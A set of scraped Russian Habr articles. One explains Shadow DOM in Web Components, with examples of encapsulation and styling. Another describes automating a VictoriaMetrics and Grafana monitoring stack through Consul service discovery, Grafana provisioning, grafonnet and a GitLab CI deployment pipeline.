* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_010123&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_010123&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_010123&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_010123&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_010123&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_010123&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_010123&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_010123&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_010123&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_010123&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_010123&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_010123&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_010123&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_010123&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_010123&utm_term=cat)
* [Профессия C++-разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_010123&utm_term=cat)
* [Профессия «Белый хакер»](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_010123&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_010123&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_010123&utm_term=cat) | https://habr.com/ru/post/708830/ | null | ru | null |
# Про Shadow DOM
Всем привет!
Продолжаю свой цикл публикаций о группе стандартов [Web Components](https://developer.mozilla.org/en-US/docs/Web/Web_Components). Моя цель - сформировать реалистичные ожидания от данного набора технологий, а также, вместе с вами, прийти к более четкому пониманию того, где их не стоит применять, и где, напротив, ничего лучше еще не придумано. На этот раз, предлагаю подробнее остановится на [Shadow DOM](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM).
Начнем с азов, чтобы те из нас, кто пока не сталкивался с предметом обсуждения, не потеряли интерес к основной части статьи. Итак, Shadow DOM - это часть современного DOM API, которая позволяет создавать изолированные участки документа, со своей собственной внутренней разметкой и своими собственными стилями. Если вы откроете, с помощью инструментов разработчика в браузере, структуру документа, содержащего, к примеру, стандартный HTML-элемент **audio** - вы увидите в его составе область, обозначенную как **#shadow-root** и какую-то разметку внутри. Это и есть Shadow DOM элемента audio. Как видите, мы можем столкнуться с "теневыми" участками документов в приложениях и на страницах сайтов, даже если при их создании никак не использовались веб-компоненты или основанные на них библиотеки. Это утверждение справедливо для всех стандартных браузерных UI-примитивов, таких как кнопки, селекты, инпуты и т. д. Хорошая новость в том, что теперь у нас есть возможность создавать собственные универсальные элементы, подобные встроенным браузерным. И Shadow DOM, в данном случае, это ответ на вопрос "как?".
Какие основные вопросы решает Shadow DOM?
-----------------------------------------
1. **Инкапсуляция**. Внутри Shadow DOM создается отдельный "поддокумент", к которому можно применять свои стили, экранированные от воздействий внешней среды (вам не нужно писать многоэтажные имена классов, чтобы обезопасить ваш элемент или внешний документ от "протечек") и где создается свой контекст для методов DOM API, где, к примеру, с помощью селекторов можно получить только те элементы которые находятся внутри и остаются почти невидимыми снаружи (при этом, допустимо использование одинаковых ID у элементов в разных контекстах, без опасности все поломать).
2. **Композиция**. Shadow DOM дает вам контроль над "размещением" непосредственных потомков сложного DOM-элемента в нужных местах его внутренней разметки. В этом случае, Shadow DOM выступает в роли некоего шаблона, в котором можно размещать содержимое в местах, обозначенных специальным тегом - [**slot**](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/slot). Это дает возможность, к примеру, создавать элементы-лейауты и повторно использовать их.
У тех, кто уже имел дело с библиотеками, основанными на веб-компонентах (такими как [LitElement](https://lit-element.polymer-project.org/)), могло сформироваться ложное впечатление о том, что Shadow DOM - это неотъемлемая часть любого веб-компонента. Это не так. Вы можете создавать компоненты с помощью стандарта [Custom Elements](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements) и НЕ использовать Shadow DOM при этом, и напротив, создавать теневой DOM у обычных элементов, таких как старый добрый **div**. Теневой DOM открывает довольно интересные и нетривиальные возможности, например, когда вы динамически добавляете CSS-свойства к элементу через интерфейс "element.style", у вас нет возможности определить псевдоклассы и псеводоэлементы, а также, использовать media-запросы или создавать ключи анимации. Это большой недостаток модели работы со стилями через JavaScript в современных браузерах (работа в этом направлении ведется, но это отдельная сложная тема). Все меняет Shadow DOM:
```
let myElement = document.createElement('div');
myElement.attachShadow({
mode: 'open',
});
myElement.shadowRoot.innerHTML = /*html*/ `
:host {
padding: 10px;
}
:host(:hover) {
color: red;
}
`;
```
Теперь у нашего div есть реакция на наведение мыши при том, что мы не создавали для этого никаких классов и не вносили никаких изменений во внешние стили. Shadow DOM дает нам доступ к своему элементу-контейнеру через селектор **:host**, и используя этот селектор, мы можем создавать любые сложные стили для элемента в JS. Прошу принять во внимание, что код приведенный выше, написан исключительно для демонстрации самого принципа, в бою все может выглядеть немного иначе.
Когда стоит применять Shadow DOM?
---------------------------------
Думаю, основными областями применения можно считать те-же, что и для веб-компонентов в целом: для создания встраиваемых виджетов и UI-библиотек-агностиков, минимально зависимых от конкретных мета-платформ, экосистем и фреймворков. Везде, где важна инкапсуляция, возможность спрятать "под ковер" реализацию и удобная независимая композиция.
Модные [микрофронтенды](https://habr.com/en/company/ruvds/blog/505622/) также являются интересной областью для применения возможностей Shadow DOM.
Также, можно рассмотреть вариант применения в случаях, когда вам необходимо внедрить свое локальное решение в большой и неповоротливый проект с кучей легаси-кода, в котором можно закопаться неоправданно надолго и есть опасность сломать что-то неочевидное: изоляция участка может оказаться быстрым и эффективным решением.
Вялотекущий рефакторинг сложной системы тоже можно проводить через создание "островков безопасности".
Какие могут возникнуть сложности?
---------------------------------
Следует понимать, что Shadow DOM в отдельности, НЕ решает вопрос контроля жизненного цикла ваших компонентов и инициализации компонентов во внешней среде (помните, для этого есть Custom Elements).
Shadow DOM в документе может быть создан **только** через JavaScript, а потому, вы не сможете напрямую использовать предварительный рендер (SSR) для внутренней разметки. Данное ограничение можно обойти, но это отдельный непростой разговор.
В случае, если на сайте используется CSP ([Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)) - вы будете ограничены в выборе способов добавления стилей для элементов внутри теневого DOM. Любая попытка парсить стили из строки вызовет ошибку. Не будет работать ни innerHTML, ни insertRule, ничто иное в этом роде. Самое простое и быстрое решение, но, на мой взгляд, наименее красивое - CSP-флаг **unsafe-inline**. Если вы создаете виджет для интеграции его на сторонний сайт, рекомендовать пользователям использование небезопасных настроек - это не комильфо. Для браузеров на основе Chromium, выходом может быть использование [adoptedStylesheets](https://developers.google.com/web/updates/2019/02/constructable-stylesheets). Более универсальными решениями будет создание динамических стилей через element.style (что, как писалось выше, имеет свои ограничения), либо добавление в Shadow DOM внешнего файла стилей:
```
let myElement = document.createElement('div');
myElement.attachShadow({
mode: 'open',
});
myElement.shadowRoot.innerHTML = /*html*/ `
`;
```
На создание Shadow DOM, при прочих равных условиях, уходят дополнительные ресурсы, поэтому, если для вас важен вопрос производительности, старайтесь не использовать теневые участки DOM бездумно повсюду. Часто для создания виджета достаточно всего одного общего теневого DOM, без лишней вложенности и сопутствующих этому дополнительных расходов.
Ну и, поскольку данный вопрос все еще всплывает в обсуждениях, затрону и его: если среди требований к вашему проекту имеется поддержка IE - теневой DOM не ваш выбор. Радует, что все большее число разработчиков отказывается от поддержки некробраузеров, надеюсь скоро не нужно будет вообще об этом вспоминать.
Вывод
-----
Shadow DOM - мощная и гибкая технология. Ее использование может существенно облегчить решение многих задач и открывает простор для творчества в решении задач нетипичных. Но не ждите от нее волшебного ответа на все свои вопросы и полного отсутствия сложностей. | https://habr.com/ru/post/518016/ | null | ru | null |
# Monitoring as Code на базе VictoriaMetrics и Grafana
Приветствую всех любителей Infrastructure as Code.
Как я уже писал в предыдущей [статье](https://habr.com/ru/post/548968/), я люблю заниматься автоматизацией инфраструктуры. Сегодня представляю вашему вниманию вариант построения GitOps для реализации подхода Monitoring as Code.
Немного контекста
-----------------
Инфраструктура проекта, в котором я сейчас работаю, очень разнородна: k8s-кластера, отдельные docker-хосты с контейнерами, сервисы в обычных systemd-демонах и т.д. Кроме этого, у нас есть PROD, STAGE и DEV-окружения, которые с точки зрения архитектуры могут отличаться. Все эти окружения очень динамичны, постоянно деплоятся новые машины и удаляются старые. К слову, эту часть мы выполняем с помощью Terraform и Ansible (возможно расскажу подробнее в своей очередной статье). Для каждого окружения у нас используется своя инфраструктура мониторинга.
Исторически мы в проекте используем Prometheus-стек. Он отлично подходит для нашей динамической инфраструктуры. Если пройтись по отдельным компонентам, то получится следующий стандартный список компонентов:
* Сбор и хранение метрик - [Prometheus](https://prometheus.io/)
* Экспорт метрик - различные экспортеры (Node exporter, Postgres exporter, MongoDB exporter, ...).
* Визуализация - [Grafana](https://grafana.com/)
* Алертинг - [Alertmanager](https://prometheus.io/docs/alerting/latest/alertmanager/)
В какой-то момент мы заменили Prometheus на [VictoriaMetrics](https://github.com/VictoriaMetrics/VictoriaMetrics) (кластерную версию), благодаря чему сэкономили кучу ресурсов и начали хранить наши метрики глубиной в 1 год. Если кто-то еще не знаком с этим замечательным продуктом, советую почитать про него. Мы мигрировали на него практически безболезненно, даже не меняя свои конфиги. В результате Prometheus у нас был заменен на несколько компонентов: vmagent + amalert + vmselect + vminsert + vmstorage.
Большинство из описанных в статье конфигураций подходят как для VictoriaMetrics, так и для Prometheus.
Этапы автоматизации мониторинга
-------------------------------
### 1 этап. Исходное состояние, отсутствие автоматизации
Изначально изменения в конфигурацию Prometheus мы вносили вручную. В Prometheus не использовался никакой Service Discovery, использовался обычный [static\_config](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#static_config). И, как вы уже наверное догадались, очень быстро наш файл prometheus.yml превратился в портянку из 1000+ строк, которые могли содержать в себе какие-то старые закомментированные targets, лишние jobs и т.д. Почему? Потому что админы никогда не удаляют строки из конфигов, строки просто комментируются до лучших времен.
Читать этот файл из консоли linux было невозможно, внести изменения и не накосячить где-то по пути - просто нереально. Про формат конфигурации Prometheus подробнее можно почитать [здесь](https://prometheus.io/docs/prometheus/latest/configuration/configuration/).
Аналогичная ситуация была и с конфигурацией алертов prometheus, а также Alertmanager.
Дашборды Grafana редактировались также вручную и перетаскивались между несколькими инстансами Grafana через механизмы экспорта/импорта.
На данном этапе у нас не было никакой автоматизации, и, следовательно, тут мы мучались со следующими проблемами:
* Создали новую машину, но забыли добавить в мониторинг. Когда понадобились метрики, вспомнили про эту машину.
* Удалили машину, но забыли удалить из мониторинга. Заморгал алертинг, возбудилась группа дежурных (у нас и такое тоже есть).
* Проводим работы на какой-либо машине, забыли заглушить для неё алерты. Дежурная смена опять звонит.
* Внесли изменения в дашборд Grafana в одном окружении, забыли перенести в другое окружение. В результате получаем разные дашборды в окружениях.
* Конфигурация мониторинга является черным ящиком для всех, кто не имеет доступ к машине по ssh. У разработчиков часто возникают вопросы по метрикам, алертам и дашбордам.
* Разработчики не могут внести изменения в дашборд, потому что у них права только Viewer.
* И т.д.
### 2 этап. Хранение статической конфигурации в Git
Очень быстро мы намучились с ручной конфигурацией VictoriaMetrics и пришли к следующему варианту: решили хранить конфиги VictoriaMetrics и Alertmanager в Git. Доставка конфигурации пока выполнялась вручную (по факту - одна команда git pull).
Также мы переделали scrape-конфиги VictoriaMetrics в [file\_sd\_config](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#file_sd_config). Это не сильно упростило конфигурацию, но зато позволило структурировать её за счёт вынесения таргетов в отдельные файлы.
С точки зрения автоматизации данный этап не сильно отличается от предыдущего, поскольку мы по-прежнему испытываем все проблемы, описанные выше. Но теперь мы хотя бы храним конфигурацию в Git и можем командно работать с ней.
### 3 этап. GitOps для мониторинга
На данном этапе мы решили кардинально пересмотреть все наши подходы к управлению мониторингом. По сравнению с предыдущими этапами, тут много изменений, поэтому данный этап мы рассмотрим более подробно, каждый компонент по отдельности.
**Сразу хочу обозначить, что в данный момент описанное решение находится в стадии тестирования и некоторые части могут измениться при вводе в продакшн.**
#### Service Discovery
Вместо статической конфигурации мы решили использовать Service Discovery. У нас в инфраструктуре уже давно был Hashicorp Consul (в качестве KV-хранилища), но теперь мы решили его использовать как Service Discovery для мониторинга.
Для этого на каждую машину во всех наших окружениях мы установили consul-агент в режиме клиента. Через него мы начали регистрировать наши prometheus-экспортеры как сервисы в Consul. Делается это очень просто: в каталог конфигурации consul-агента необходимо подложить небольшой JSON-файл с минимальной информацией о сервисе. А затем сделать релоад сервиса consul на данном хосте, чтоб агент перечитал конфигурацию и отправил изменения в кластер. Подробнее о регистрации сервисов можно почитать в [документации Consul](https://www.consul.io/docs/discovery/services).
Например, для Node Exporter файл может выглядеть следующим образом:
node\_exporter.json
```
{
"service": {
"name": "node_exporter",
"port": 9100,
"meta": {
"metrics_path": "/metrics",
"metrics_scheme": "http"
}
}
}
```
Такой способ регистрации сервиса очень удобен, потому что всю работу за нас делает нативный consul-агент, от нас требуется лишь подложить в нужное место JSON-файл. При этом обновление и дерегистрация сервиса выполняется аналогичным образом (с помощью обновления или удаления файла).
Дерегистрация машин/сервисов (например, для последующего удаления машины) может также производиться с помощью штатного выключения сервиса consul на машине. При остановке consul-агент выполняет graceful-shutdown, который выполняет дерегистрацию.
Кроме этого, дерегистрацию можно выполнить через Consul API.
#### VictoriaMetrics Configuration
Поскольку мы перешли на Service Discovery, теперь мы можем использовать [consul\_sd\_config](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#consul_sd_config) в нашем scrape-конфиге VictoriaMetrics. Таким образом, наш файл из 1000+ строк превратился в 30+ строк примерно следующего вида:
prometheus.yml
```
global:
scrape_interval: 30s
scrape_configs:
- job_name: exporters
consul_sd_configs:
- server: localhost:8500
relabel_configs:
# drop all targets that do not have metrics_path key in metadata
- source_labels: [__meta_consul_service_metadata_metrics_path]
regex: ^/.+$
action: keep
# set metrics path from metrics_path metadata key
- source_labels: [__meta_consul_service_metadata_metrics_path]
target_label: __metrics_path__
# set metrics scheme from metrics_scheme metadata key
- source_labels: [__meta_consul_service_metadata_metrics_scheme]
regex: ^(http|https)$
target_label: __scheme__
- source_labels: [__meta_consul_dc]
target_label: consul_dc
- source_labels: [__meta_consul_health]
target_label: consul_health
- action: labelmap
regex: __meta_consul_metadata_(.+)
replacement: $1
- source_labels: [__meta_consul_node]
target_label: host
- source_labels: [__meta_consul_node, __meta_consul_service_port]
separator: ":"
target_label: instance
- source_labels: [__meta_consul_service]
target_label: job
- source_labels: [__meta_consul_node, __meta_consul_service_port]
separator: ":"
target_label: __address__
```
Такая конфигурация заставляет Prometheus брать список хостов из Consul Service Discovery. Т.е. если хост добавился в Consul, то он через несколько секунд появляется в Prometheus.
С помощью [relabel\_config](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#relabel_config) мы можем делать любые преобразования данных, полученных из Consul, в лейблы Prometheus. Например, мы через метаданные сервиса Consul передаем схему (http или https) и путь к метрикам экспортера (обычно /metrics, но бывает и другой).
Также с помощью метаданных и тегов consul, мы можем фильтровать хосты, которые будут добавлены в Prometheus (при условии, что эти теги или метаданные мы добавили в конфигурацию Сonsul при регистрации сервиса). Например, вот так мы можем брать только хосты из DEV-окружения:
prometheus.yml
```
scrape_configs:
- job_name: exporters
consul_sd_configs:
- server: localhost:8500
tags:
- dev
relabel_configs:
...
```
При использовании Consul Service Discovery мы можем также получать статус хоста (метка \_\_meta\_consul\_health). С помощью данного поля мы можем выводить наши хосты в Maintenance-режим. Для этого у агента Consul есть специальная команда [maint](https://www.consul.io/commands/maint).
Примеры команд
```
# включение maintenance-режима для хоста
consul maint -enable
# включение maintenance-режима для отдельного сервиса
consul maint -service=node_exporter -enable
# выключение maintenance-режима для хоста
consul maint -disable
```
С помощью этой метки мы можем обрабатывать событие вывода хостов на обслуживание и не создавать лишние алерты. Для этого необходимо заранее предусмотреть данное исключение в своих правилах алертинга.
#### Grafana Provisioning
Если вы работали с Grafana, то Вы, наверное, уже знаете, что каждый дашборд представляет собой JSON-файл. Также у Grafana есть API, через который можно пропихивать эти дашборды.
Кроме этого, есть специальный механизм [Grafana Provisioning](https://grafana.com/docs/grafana/latest/administration/provisioning/), который позволяет вообще всю конфигурацию Grafana хранить в виде файлов в формате YAML. Этот механизм работает следующим образом:
1. Мы пишем конфигурацию наших data sources, plugins, dashboards и складываем её в определенный каталог.
2. Grafana при старте создает все описанные в YAML объекты и импортирует дашборды из указанного каталога.
При импорте дашбордов есть следующие возможности:
* Grafana может импортировать структуру каталогов и создать их у себя в UI. Импортированные дашборды будут разложены по каталогам в соответствии с расположением JSON-файлов.
* После импорта дашборды можно сделать нередактируемыми через UI (актуально, если планируете вносить все изменения только через код).
* Для дашбордов можно задать статические uid, чтоб зафиксировать ссылки на получившиеся дашборды.
* Grafana умеет перечитывать содержимое каталога и применять изменения в дашбордах.
* Если JSON-файл исчез из каталога, Grafana может соответственно убирать его из UI.
Примеры конфигурации Grafana Provisioning:
datasources.yml
```
# config file version
apiVersion: 1
# list of datasources that should be deleted from the database
deleteDatasources: []
# list of datasources to insert/update depending
# what's available in the database
datasources:
# name of the datasource. Required
- name: VictoriaMetrics
# datasource type. Required
type: prometheus
# access mode. proxy or direct (Server or Browser in the UI). Required
access: proxy
# org id. will default to orgId 1 if not specified
orgId: 1
# custom UID which can be used to reference this datasource in other parts of the configuration, if not specified will be generated automatically
uid: victoria\_metrics
# url
url: http://my.victoria.metrics:8481/select/0/prometheus
# Deprecated, use secureJsonData.password
password:
# database user, if used
user:
# database name, if used
database:
# enable/disable basic auth
basicAuth:
# basic auth username
basicAuthUser:
# Deprecated, use secureJsonData.basicAuthPassword
basicAuthPassword:
# enable/disable with credentials headers
withCredentials:
# mark as default datasource. Max one per org
isDefault: true
# fields that will be converted to json and stored in jsonData
jsonData:
# json object of data that will be encrypted.
secureJsonData:
# datasource version
version: 1
# allow users to edit datasources from the UI.
editable: false
```
dashboards.yml
```
apiVersion: 1
providers:
# an unique provider name. Required
- name: dashboards
# Org id. Default to 1
orgId: 1
# name of the dashboard folder.
folder: ''
# folder UID. will be automatically generated if not specified
folderUid: ''
# provider type. Default to 'file'
type: file
# disable dashboard deletion
disableDeletion: false
# how often Grafana will scan for changed dashboards
updateIntervalSeconds: 10
# allow updating provisioned dashboards from the UI
allowUiUpdates: false
options:
# path to dashboard files on disk. Required when using the 'file' type
path: /var/lib/grafana/dashboards
# use folder names from filesystem to create folders in Grafana
foldersFromFilesStructure: true
```
Согласно нашей конфигурации Grafana должна создать Data Source типа prometheus с URL **http://my.victoria.metrics:8481/select/0/prometheus**. Также из каталога **/var/lib/grafana/dashboards** должны быть импортированы каталоги и дашборды.
Таким образом, мы получаем полностью определяемое состояние Grafana из кода.
#### Dashboards as Code
Перейдем к самим JSON-файлам дашбордов. Те, кто видел эти JSON-ы, справедливо сделают замечание о том, что формировать и поддерживать их вручную (без Grafana UI) невозможно. С этим я соглашусь, но к счастью, для этого создали специальный фреймворк [grafonnet-lib](https://grafana.github.io/grafonnet-lib/), который позволяет писать дашборды с использованием языка [Jsonnet](https://jsonnet.org/).
Указанный фреймворк уже содержит набор функций, с помощью которых можно формировать панели для дашбордов. Язык Jsonnet также позволяет писать собственные функции, а также структурировать код, раскладывая его по отдельным файлам и каталогам.
Язык Jsonnet очень простой, поэтому инженер даже с небольшими навыками программирования сможет через пару часов экспериментов создать свой первый дашборд Grafana из кода.
#### GitOps
Выше я описал основные используемые технологии для автоматизации мониторинга, теперь осталось собрать всё это в единый репозиторий, чтоб любой член команды мог туда прийти и предложить свои изменения.
Мы давно у себя используем Gitlab для хранения наших инфраструктурных репозиториев, а также Gitlab CI для CI/CD.
Собрав всё в кучу, мы получили следующую структуру каталогов.
* /сi - файлы, используемые в Gitlab CI
* /grafonnet-lib - git submodule для исходников фреймворка grafonnet-lib
* /dev - конфигурация мониторинга DEV-окружения
* /stage - то же самое для STAGE
* /prod - то же самое для PROD
* /tests - файлы для тестирования дашбордов (например docker-compose для запуска Grafana)
Каждый из каталогов dev, stage, prod в свою очередь содержит следующий набор каталогов:
* alertmanager
* blackbox
* grafana
* vmagent
* vmalert
В указанных каталогах хранится конфигурация соответствующих компонентов системы мониторинга. В каталоге grafana, кроме конфигурации Provisioning, хранятся также исходники дашбордов на языке jsonnet, которые компилируются в JSON-файлы в процессе деплоя в Gitlab CI.
Конфигурация Gitlab CI у нас выглядит следующим образом:
.gitlab-ci.yml
```
variables:
CA_CERT_FILE: /etc/gitlab-runner/certs/ca.crt
VMETRICS_IMAGE: $CI_REGISTRY_IMAGE/vm:ci-0.0.5
JSONNET_IMAGE: $CI_REGISTRY_IMAGE/jsonnet:ci-0.0.5
YAMLLINT_IMAGE: cytopia/yamllint:1.26
RSYNC_IMAGE: instrumentisto/rsync-ssh:alpine3.14
# can be overrided in project CI/CD settings
GRAFANA_USER: admin
GRAFANA_PASSWORD: admin
# should be defined in project CI/CD settings
#SSH_PRIVATE_KEY_FILE:
#SSH_USERNAME:
include:
- local: '*/.gitlab-ci.yml'
stages:
- build_image
- validate
- build
# - review
- deploy
build_image:
before_script: []
stage: build_image
image:
name: gcr.io/kaniko-project/executor:debug
entrypoint: [""]
variables:
REGISTRY_TAG: $CI_COMMIT_TAG
CONTEXT_DIR: $CI_PROJECT_DIR/ci/$IMAGE_NAME
script:
- mkdir -p /kaniko/.docker
- cat $CA_CERT_FILE >> /kaniko/ssl/certs/additional-ca-cert-bundle.crt
- cp -L $CA_CERT_FILE $CONTEXT_DIR/ca.crt
- echo "{\"auths\":{\"$CI_REGISTRY\":{\"username\":\"$CI_REGISTRY_USER\",\"password\":\"$CI_REGISTRY_PASSWORD\"}}}" > /kaniko/.docker/config.json
- /kaniko/executor --context $CONTEXT_DIR --dockerfile $CONTEXT_DIR/Dockerfile $BUILD_ARGS --destination $CI_REGISTRY_IMAGE/$IMAGE_NAME:$REGISTRY_TAG
cache: {}
rules:
- if: '$CI_COMMIT_TAG =~ /^ci-.*/'
parallel:
matrix:
- IMAGE_NAME: jsonnet
GO_JSONNET_VERSION: '0.17.0'
BUILD_ARGS: '--build-arg GO_JSONNET_VERSION'
- IMAGE_NAME: vm
VMETRICS_TAG: 'v1.62.0'
ALERTMANAGER_TAG: 'v0.22.2'
BLACKBOX_TAG: 'v0.19.0'
BUILD_ARGS: '--build-arg VM_VERSION --build-arg ALERTMANAGER_TAG --build-arg BLACKBOX_TAG'
.yamllint:
stage: validate
image:
name: $YAMLLINT_IMAGE
entrypoint: [""]
script:
- yamllint ${WORK_DIR}/ -c .yamllint.yml
.jsonnetlint:
stage: validate
image: $JSONNET_IMAGE
variables:
GIT_SUBMODULE_STRATEGY: recursive
JSONNET_PATH: $CI_PROJECT_DIR/grafonnet-lib
script:
- cd $WORK_DIR/grafana/grafonnet
- if [[ -f "dashboards.jsonnet" ]]; then jsonnetfmt --test $(find . -name '*.jsonnet'); fi
- if [[ -f "dashboards.jsonnet" ]]; then jsonnet-lint dashboards.jsonnet; fi
.config_validate:
stage: validate
image: $VMETRICS_IMAGE
script:
- vmalert -dryRun -rule ${WORK_DIR}/vmalert/*.yml
- vmagent -dryRun -promscrape.config ${WORK_DIR}/vmagent/scrape_config.yml -promscrape.config.strictParse
- blackbox_exporter --config.check --config.file=${WORK_DIR}/blackbox/blackbox.yml
- amtool check-config ${WORK_DIR}/alertmanager/
.build:
stage: build
image: $JSONNET_IMAGE
variables:
GIT_SUBMODULE_STRATEGY: recursive
JSONNET_PATH: $CI_PROJECT_DIR/grafonnet-lib
script:
- cd ${WORK_DIR}/grafana/grafonnet
- jsonnet -m dashboards -c -V dasboardEditable=false dashboards.jsonnet
artifacts:
paths:
- ${WORK_DIR}/grafana/grafonnet/dashboards
.deploy:
stage: deploy
image: $RSYNC_IMAGE
variables:
SSH_CONFIG: |
Host *
StrictHostKeyChecking no
UserKnownHostsFile=/dev/null
LogLevel ERROR
SSH_SERVER: $SSH_USERNAME@$MON_SERVER
GRAFANA_PORT: 3000
GRAFANA_SCHEME: http
environment:
name: $WORK_DIR
script:
- set -x
- eval $(ssh-agent -s)
- mkdir ~/.ssh/
- chmod 700 ~/.ssh
- echo "$SSH_CONFIG" > ~/.ssh/config
- cat $SSH_PRIVATE_KEY_FILE | tr -d '\r' | ssh-add - > /dev/null
- alias rsync="rsync -ai --delete --no-perms --no-owner --no-group --rsync-path='sudo rsync' --timeout=15"
- RSYNC_OUT=$(rsync ${WORK_DIR}/vmagent $SSH_SERVER:/opt/vm/)
- |
if [ -n "$RSYNC_OUT" ]; then
ssh $SSH_SERVER "sudo chown -R vmcluster:vmcluster /opt/vm/vmagent/* && sudo systemctl reload vmagent.service"
fi
- RSYNC_OUT=$(rsync ${WORK_DIR}/vmalert $SSH_SERVER:/opt/vm/)
- |
if [ -n "$RSYNC_OUT" ]; then
ssh $SSH_SERVER "sudo chown -R vmcluster:vmcluster /opt/vm/vmalert/* && sudo systemctl reload vmalert.service"
fi
- RSYNC_OUT=$(rsync ${WORK_DIR}/blackbox/blackbox.yml $SSH_SERVER:/opt/blackbox_exporter/)
- |
if [ -n "$RSYNC_OUT" ]; then
ssh $SSH_SERVER "sudo chown -R blackbox_exporter:blackbox_exporter /opt/blackbox_exporter/blackbox.yml && sudo systemctl reload blackbox_exporter.service"
fi
- rsync ${WORK_DIR}/grafana/provisioning $SSH_SERVER:/etc/grafana/
- ssh $SSH_SERVER "sudo chown -R root:grafana /etc/grafana/provisioning"
- rsync ${WORK_DIR}/grafana/grafonnet/dashboards $SSH_SERVER:/var/lib/grafana/
- ssh $SSH_SERVER "sudo chown -R grafana:grafana /var/lib/grafana/dashboards"
- ssh $SSH_SERVER "curl -X POST -sSf $GRAFANA_SCHEME://$GRAFANA_USER:$GRAFANA_PASSWORD@localhost:$GRAFANA_PORT/api/admin/provisioning/dashboards/reload"
- ssh $SSH_SERVER "curl -X POST -sSf $GRAFANA_SCHEME://$GRAFANA_USER:$GRAFANA_PASSWORD@localhost:$GRAFANA_PORT/api/admin/provisioning/datasources/reload"
```
Какие действия мы выполняем в CI/CD:
1. Валидация всех файлов конфигурации (yamllint + check конфигов всех компонентов)
2. Компиляция дашбордов Grafana
3. Деплой всей конфигурации на сервер мониторинга (также можно использовать несколько инстансов, объединенных в кластер).
Для деплоя мы используем обычный rsync с набором необходимых ключей (например, для удаления лишних файлов на сервере назначения).
Для локальной разработки мы используем скрипт, который компилирует дашборды и запускает Grafana в docker-compose. Разработчик дашборда может сразу увидеть внесенные изменения.
Заключение
----------
В данной статье описаны этапы автоматизации системы мониторинга на базе Prometheus и Grafana. Используемые подходы позволяют решить ряд задач:
* Используя Service Discovery, мы получаем полную автоматизацию добавления и удаления хостов в мониторинг. Т.е. новые машины встают на мониторинг сразу после деплоя. Для удаления машин с мониторинга, можно использовать любые механизмы (например, можно использовать [Destroy-Time Provisioners](https://www.terraform.io/docs/language/resources/provisioners/syntax.html#destroy-time-provisioners)для Terraform, который будет выполнять дерегистрацию сервиса в Consul)
* С помощью maintenance-режима мы можем выводить хосты на обслуживание и не получать при этом лишних алертов. Дежурная смена может спать спокойно :)
* Используя подход Grafana as Code, мы получаем полностью детерминированное состояние наших дашбордов. При внесении изменений в конфигурацию Prometheus, мы сразу вносим изменения в дашборды.
* Используя Gitlab CI, мы выстраиваем процесс GitOps для нашей системы мониторинга. Т.е. Git становится единым источником правды для всей системы мониторинга. Больше не требуется никаких ручных кликов в Grafana UI и никакой правки файлов конфигурации в консоли Linux.
* И самое главное: теперь наши разработчики могут приходить в этот репозиторий, вносить изменения и присылать Pull Request.
Всем спасибо за внимание! Буду рад ответить на любые вопросы касательно данной темы. | https://habr.com/ru/post/568090/ | null | ru | null |
